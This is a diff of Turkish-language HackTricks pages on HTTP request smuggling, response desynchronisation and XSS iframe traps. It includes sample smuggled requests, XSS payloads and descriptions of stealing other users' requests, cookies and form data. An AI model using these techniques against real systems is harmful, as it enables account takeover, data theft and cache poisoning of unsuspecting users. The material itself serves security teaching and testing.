- **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birkaç deneme gerektirebilir.
|
||||
- **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız istemeden başka bir kullanıcının isteğini etkiliyorsa (gönderdiğiniz "normal" isteği değil), bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.
|
||||
|
||||
## HTTP İsteği Kaçırmayı Kötüye Kullanma
|
||||
|
||||
### HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma
|
||||
|
||||
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir açık bırakır.
|
||||
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir boşluk bırakır.
|
||||
|
||||
HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
|
||||
Aşağıdaki örnekler, HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini göstermektedir; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alır:
|
||||
|
||||
**CL.TE Örneği**
|
||||
```
|
||||
@ -326,7 +326,7 @@ Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer
|
||||
|
||||
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü bu, **korumaları aşmanın** veya **gizli bilgileri veya uç noktaları açığa çıkarmanın** yollarını ortaya çıkarabilir.
|
||||
|
||||
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:
|
||||
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en son kullanarak aşağıdaki gibi bir istek oluşturun:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -343,11 +343,11 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
Bu yapıda, sonraki istek bileşenleri `search=` ifadesinden sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarını açığa çıkaracaktır.
|
||||
Bu yapıda, sonraki istek bileşenleri `search=` sonrasında eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarını açığa çıkaracaktır.
|
||||
|
||||
İç içe isteğin `Content-Length` başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
|
||||
|
||||
Bu teknik, bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
Bu teknik, bir TE.CL açığı bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
|
||||
Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için kullanılır ve temelde kendi kendine yönlendirilmiş bir araştırma yapar.
|
||||
|
||||
@ -379,14 +379,14 @@ Bu senaryoda, **yorum parametresi** bir gönderinin yorum bölümündeki içerik
|
||||
|
||||
Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&` ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.
|
||||
|
||||
Ayrıca, bu yaklaşımın bir TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
Ayrıca, bu yaklaşımın bir TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile sona ermelidir. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
|
||||
### Yansıtılan XSS'yi istismar etmek için HTTP istek kaçakçılığını kullanma
|
||||
|
||||
HTTP İstek Kaçakçılığı, **Yansıtılan XSS**'ye karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
|
||||
|
||||
- Hedef kullanıcılarla **etkileşim gerektirmez**.
|
||||
- İsteğin **normalde ulaşılamayan** kısımlarında, örneğin HTTP istek başlıklarında XSS istismarına olanak tanır.
|
||||
- İsteğin **normalde ulaşılamayan** kısımlarında XSS istismarına olanak tanır, örneğin HTTP istek başlıkları.
|
||||
|
||||
Bir web sitesinin User-Agent başlığı aracılığıyla Yansıtılan XSS'ye karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:
|
||||
```
|
||||
@ -413,22 +413,22 @@ Bu payload, zafiyeti istismar etmek için şu şekilde yapılandırılmıştır:
|
||||
|
||||
1. Görünüşte tipik bir `POST` isteği başlatılarak, smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile.
|
||||
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam edilir.
|
||||
3. Sonrasında, `User-Agent` başlığına bir script enjekte edilen smuggled bir `GET` isteği tanıtılır; `<script>alert(1)</script>`, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
|
||||
3. Sonrasında, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen smuggled bir `GET` isteği tanıtılır; bu, sunucu bu sonraki isteği işlediğinde XSS'yi tetikler.
|
||||
|
||||
`User-Agent`'ı smuggling ile manipüle ederek, payload normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldığında, XSS'in çalışmasını engelleyebilir. Eğer sunucu **HTTP/0.9** destekliyorsa, bunu aşmak mümkün olabilir!
|
||||
> Kullanıcı içeriği, **`Content-type`** gibi bir yanıt içinde yansıtıldığında, XSS'nin çalışmasını engelleyebilir. Eğer sunucu **HTTP/0.9** destekliyorsa, bunu aşmak mümkün olabilir!
|
||||
|
||||
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiilleri kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
|
||||
|
||||
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek bir zayıf uç nokta** ile istismar edilmiştir. Yanıt içinde yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
|
||||
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek bir zayıf uç nokta** ile istismar edilmiştir; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçersiz bir HTTP/1.1 yanıtı (başlıklar ve gövde ile)** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacaktır.
|
||||
|
||||
### HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### HTTP İstek Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
|
||||
Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörün sonuna eğik çizgi eklenmeden istenmesi, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -470,9 +470,9 @@ Bu senaryoda, bir kullanıcının JavaScript dosyası talebi ele geçirilir. Sal
|
||||
|
||||
Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.
|
||||
|
||||
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Basic Examples](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` talebine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
|
||||
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Basic Examples](./#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` talebine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açar.
|
||||
|
||||
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
|
||||
Bu teknik, bir **Open Redirect açığı** keşfedildiğinde veya **açık bir yönlendirmeye yerel bir yönlendirme** varsa özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını mümkün kılar.
|
||||
|
||||
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
|
||||
```
|
||||
@ -492,20 +492,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Not edin ki gömülü istek `/post/next?postId=3` hedef alıyor. Bu istek, **Host header değeri** kullanılarak `/post?postId=4` adresine yönlendirilecektir. **Host header'ını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
|
||||
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek. Bu istek, **Host header değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host header'ını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
|
||||
|
||||
Başarılı **socket poisoning** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
|
||||
Başarılı **socket poisoning**'den sonra, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
|
||||
|
||||
Sonrasında, `/static/include.js` için yapılan herhangi bir istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.
|
||||
Sonrasında, `/static/include.js` için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir şekilde geniş bir XSS saldırısını başlatacaktır.
|
||||
|
||||
### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
|
||||
>
|
||||
> - **Web önbellek zehirlenmesi**nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
|
||||
> - **Web önbellek aldatması**nda, saldırgan uygulamanın önbellekte başka bir kullanıcıya ait bazı hassas içerikleri saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
|
||||
> - **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
|
||||
> - **Web önbellek aldatması**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbellekte saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
|
||||
|
||||
Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
|
||||
Saldırgan, hassas kullanıcıya özgü içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -516,7 +516,7 @@ Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), kurbanın `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
|
||||
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), mağdurun `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
|
||||
|
||||
### HTTP Request Smuggling ile TRACE İstismar Etme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
@ -537,7 +537,7 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Bu davranışı kötüye kullanmanın bir örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu istek **gönderilen verileri yansıtacaktır**.\
|
||||
Bu davranışı kötüye kullanmanın bir örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu da **gönderilen verileri yansıtacaktır**.\
|
||||
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek, dolayısıyla yanıt içinde rastgele verileri yansıtacaktır**.\
|
||||
Bu yanıt, bağlantı üzerindeki bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
|
||||
|
||||
@ -587,7 +587,7 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP İstek Kaçırma ile HTTP Yanıtı Senkronizasyonunu Silahlandırma
|
||||
### HTTP İstek Kaçırmayı HTTP Yanıt Desenkronizasyonu ile Silahlandırma
|
||||
|
||||
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:
|
||||
|
||||
|
||||
@ -10,9 +10,9 @@
|
||||
|
||||
Bu tekniğin **ana** **farkı**, yaygın bir HTTP Yanıt Kaçırma ile, **kurbanın isteğine bir ön ek ekleyerek saldırmak yerine**, **kurbanın aldığı yanıtı sızdırmak veya değiştirmek** için **2 tam istek göndererek proxy yanıt kuyruklarını desenkronize etmek** olacaktır.
|
||||
|
||||
Bu, **kurbanın meşru isteğinden gelen yanıtın saldırgana gönderilmesini** veya **kurbanın yanıtında saldırganın kontrolündeki içeriği enjekte ederek** yapılır.
|
||||
Bu, **kurbanın meşru isteğinden gelen yanıtın saldırgana gönderilmesini** veya **kurbanın yanıtında saldırganın kontrolündeki içeriği enjekte ederek** mümkün olacaktır.
|
||||
|
||||
### HTTP Boru Hattı Desenkronizasyonu
|
||||
### HTTP Pipeline Desenkronizasyonu
|
||||
|
||||
HTTP/1.1, **önceki isteklere beklemeden farklı kaynaklar istemeye** izin verir. Bu nedenle, eğer bir **proxy** varsa, proxy'nin görevi, **arka uçta gönderilen isteklerin ve ondan gelen yanıtların senkronize bir eşleşmesini sürdürmektir**.
|
||||
|
||||
@ -22,7 +22,7 @@ Ancak, yanıt kuyruklarını desenkronize etme konusunda bir sorun vardır. Eğe
|
||||
|
||||
Bu nedenle, **kaçırılan isteğin** arka uç sunucusunda **işlenmesi için daha fazla zaman alması** gerekmektedir. Böylece, kaçırılan istek işlenene kadar, saldırganla iletişim sona erecektir.
|
||||
|
||||
Eğer bu özel durumda bir **kurban bir istek göndermişse** ve **kaçırılan isteğe yanıt, meşru isteğinden önce verilirse**, **kaçırılan yanıt kurbana gönderilecektir**. Böylece, saldırgan **kurban tarafından "gerçekleştirilen" isteği kontrol edecektir**.
|
||||
Eğer bu özel durumda bir **kurban bir istek göndermişse** ve **kaçırılan istek meşru istekten önce yanıtlanırsa**, **kaçırılan yanıt kurbana gönderilecektir**. Böylece, saldırgan **kurban tarafından "gerçekleştirilen" isteği kontrol edecektir**.
|
||||
|
||||
Ayrıca, eğer **saldırgan bir istek gerçekleştirirse** ve **kurbanın isteğine verilen meşru yanıt**, saldırganın isteğinden **önce yanıtlanırsa**, **kurbanın yanıtı saldırgana gönderilecektir**, **kurbanın yanıtını çalarak** (örneğin, **Set-Cookie** başlığını içerebilir).
|
||||
|
||||
@ -32,7 +32,7 @@ Ayrıca, eğer **saldırgan bir istek gerçekleştirirse** ve **kurbanın isteğ
|
||||
|
||||
### Çoklu İç İçe Enjeksiyonlar
|
||||
|
||||
Yaygın **HTTP Yanıt Kaçırma** ile başka bir **ilginç fark**, yaygın bir kaçırma saldırısında **amaç**, **kurbanın isteğinin başlangıcını değiştirmek** ve beklenmedik bir eylem gerçekleştirmektir. **HTTP Yanıt Kaçırma saldırısında**, **tam istekler gönderdiğiniz için**, **bir yük içinde onlarca yanıt enjekte edebilir** ve **desenkronize olan onlarca kullanıcıya** **enjekte edilen yanıtları** **ulaştırabilirsiniz**.
|
||||
Yaygın **HTTP Yanıt Kaçırma** ile başka bir **ilginç fark**, yaygın bir kaçırma saldırısında **amaç**, **kurbanın isteğinin başlangıcını değiştirmek** ve beklenmedik bir eylem gerçekleştirmektir. Bir **HTTP Yanıt Kaçırma saldırısında**, **tam istekler gönderdiğiniz için**, **bir yük içinde onlarca yanıt enjekte edebilir** ve **desenkronize olan onlarca kullanıcıya** **enjekte edilen yanıtları** **ulaştırabilirsiniz**.
|
||||
|
||||
Ayrıca, **meşru kullanıcılar arasında daha kolay onca istismar dağıtma** imkanı sağlamanın yanı sıra, bu aynı zamanda sunucuda bir **DoS** oluşturmak için de kullanılabilir.
|
||||
|
||||
@ -88,7 +88,7 @@ Sonra, **kurban**, **HEAD** isteğinden gelen **yanıtı alacak**, bu yanıt **b
|
||||
|
||||
### Önbellek Zehirleme
|
||||
|
||||
Daha önce bahsedilen yanıt desenkronizasyonu İçerik Karışıklığı saldırısını istismar ederek, **eğer önbellek, kurban tarafından gerçekleştirilen isteğe verilen yanıtı depoluyorsa ve bu yanıt bir XSS oluşturan enjekte edilmiş bir yanıt ise, o zaman önbellek zehirlenir**.
|
||||
Daha önce bahsedilen yanıt desenkronizasyonu İçerik Karışıklığı saldırısını istismar ederek, **eğer önbellek, kurban tarafından gerçekleştirilen isteğe verilen yanıtı depoluyorsa ve bu yanıt XSS oluşturan bir enjekte edilmiş yanıt ise, o zaman önbellek zehirlenir**.
|
||||
|
||||
XSS yükünü içeren kötü niyetli istek:
|
||||
|
||||
@ -103,17 +103,17 @@ Kurbana, yanıtı depolaması için önbelleğe işaret eden başlığı içeren
|
||||
|
||||
### Web Önbellek Aldatmacası
|
||||
|
||||
Bu saldırı, bir öncekiyle benzer, ancak **saldırgan, önbelleğe bir yük enjekte etmek yerine, kurban bilgilerini önbelleğe alacaktır:**
|
||||
Bu saldırı, önceki saldırıya benzer, ancak **bir yükü önbelleğe enjekte etmek yerine, saldırgan kurban bilgilerini önbelleğe alacaktır**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Yanıt Bölme
|
||||
|
||||
Bu saldırının **amacı**, **yanıt** **desenkronizasyonunu** tekrar istismar ederek **proxy'nin %100 saldırgan tarafından üretilen bir yanıt göndermesini sağlamak**.
|
||||
Bu saldırının **amaç**ı, **yanıt** **desenkronizasyonunu** tekrar istismar ederek **proxy'nin %100 saldırgan tarafından üretilen bir yanıt göndermesini sağlamak**.
|
||||
|
||||
Bunu başarmak için, saldırgan, **yanıt içinde bazı değerleri yansıtan** bir web uygulaması uç noktası bulmalı ve **HEAD yanıtının içerik uzunluğunu bilmelidir**.
|
||||
Bunu başarmak için, saldırganın **yanıt içinde bazı değerleri yansıtan** bir web uygulaması uç noktası bulması ve **HEAD yanıtının içerik uzunluğunu bilmesi** gerekmektedir.
|
||||
|
||||
Bir **istismar** gönderir:
|
||||
Bir **istismar** gönderecektir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -121,11 +121,11 @@ Bir **istismar** gönderir:
|
||||
|
||||
.png>)
|
||||
|
||||
Kurban, yanıt olarak **HEAD yanıtı + ikinci isteğin yanıtının içeriğini (yansıtılan verilerin bir kısmını içeren)** alacaktır:
|
||||
Kurban, **HEAD yanıtı + ikinci isteğin yanıtının içeriğini (yansıtılan verilerin bir kısmını içeren)** yanıt olarak alacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
Ancak, **yansıtılan verilerin, yanıt kuyruklarında geçerli bir HTTP yanıtı üreten HEAD yanıtının Content-Length'ine göre bir boyuta sahip olduğunu** unutmayın.
|
||||
Ancak, **yansıtılan verilerin HEAD yanıtının Content-Length'ine göre bir boyutu olduğunu** ve **yanıt kuyruklarında geçerli bir HTTP yanıtı ürettiğini** unutmayın.
|
||||
|
||||
Bu nedenle, **ikinci kurbanın bir sonraki isteği**, **saldırgan tarafından tamamen oluşturulmuş bir yanıt alacaktır**. Yanıt tamamen saldırgan tarafından oluşturulduğu için, **proxy'nin yanıtı önbelleğe almasını da sağlayabilir**.
|
||||
|
||||
|
||||
@ -1,5 +1,5 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Gönderiyi kontrol et: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
**Gönderiyi kontrol edin: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,18 +6,18 @@
|
||||
|
||||
Kullanıcının web sayfasında gezinirken bilgilerini çalmak için iframe'ler aracılığıyla XSS'in kötüye kullanılması, başlangıçta trustedsec.com'daki bu 2 gönderide yayımlandı: [**burada**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **ve** [**burada**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
Saldırı, **kurbanların XSS'ten çıkmamalarını sağlamak** için bir iframe içinde **gezinebilecekleri** bir XSS'e karşı savunmasız bir sayfada başlar.
|
||||
Saldırı, **kurbanların XSS'ten çıkmamalarını** sağlamak için **bir iframe içinde gezinmelerini** sağlayan XSS'e karşı savunmasız bir sayfada başlar.
|
||||
|
||||
XSS saldırısı, temel olarak web sayfasını ekranın %100'ünde bir iframe içinde yükleyecektir. Bu nedenle, kurban **iframe içinde olduğunu fark etmeyecek**. Ardından, kurban iframe içindeki bağlantılara tıklayarak sayfada gezinirse, **iframe içinde gezinmiş** olacak ve bu gezinmeden bilgi çalan keyfi JS yüklenmiş olacaktır.
|
||||
|
||||
Ayrıca, daha gerçekçi hale getirmek için, bir iframe'in sayfanın konumunu değiştirdiğinde kontrol etmek için bazı **dinleyiciler** kullanmak ve kullanıcının tarayıcıda sayfalar arasında hareket ettiğini düşündüğü konumlarla tarayıcının URL'sini güncellemek mümkündür.
|
||||
Ayrıca, daha gerçekçi hale getirmek için, bir iframe'in sayfanın konumunu değiştirdiğini kontrol etmek için bazı **dinleyiciler** kullanmak ve kullanıcının tarayıcıda sayfalar arasında hareket ettiğini düşündüğü konumlarla tarayıcının URL'sini güncellemek mümkündür.
|
||||
|
||||
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../images/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Ayrıca, kurbanın ziyaret ettiği diğer sayfaların yanı sıra, **doldurulmuş formlar** için kullanılan verileri çalmak veya **yerel depolamayı çalmak** için dinleyiciler kullanmak mümkündür...
|
||||
Ayrıca, yalnızca kurbanın ziyaret ettiği diğer sayfaları değil, aynı zamanda **formları doldurmak için kullanılan verileri** çalmak için dinleyiciler kullanmak mümkündür (kimlik bilgileri?) veya **yerel depolamayı çalmak**...
|
||||
|
||||
Elbette, ana sınırlamalar, **bir kurbanın sekmeyi kapatması veya tarayıcıda başka bir URL girmesi durumunda iframe'den kaçacağıdır**. Bunu yapmanın bir diğer yolu, **sayfayı yenilemek** olacaktır; ancak, bu, iframe içinde yeni bir sayfa yüklendiğinde sağ tıklama bağlam menüsünü devre dışı bırakarak veya kullanıcının fare hareketinin iframe'den çıkıp çıkmadığını kontrol ederek kısmen **önlenebilir**. Bu durumda, tarayıcının URL'si XSS'e karşı savunmasız olan orijinal URL ile güncellenir, bu nedenle kullanıcı bunu yenilerse, tekrar zehirlenir (bu durumun çok gizli olmadığını unutmayın).
|
||||
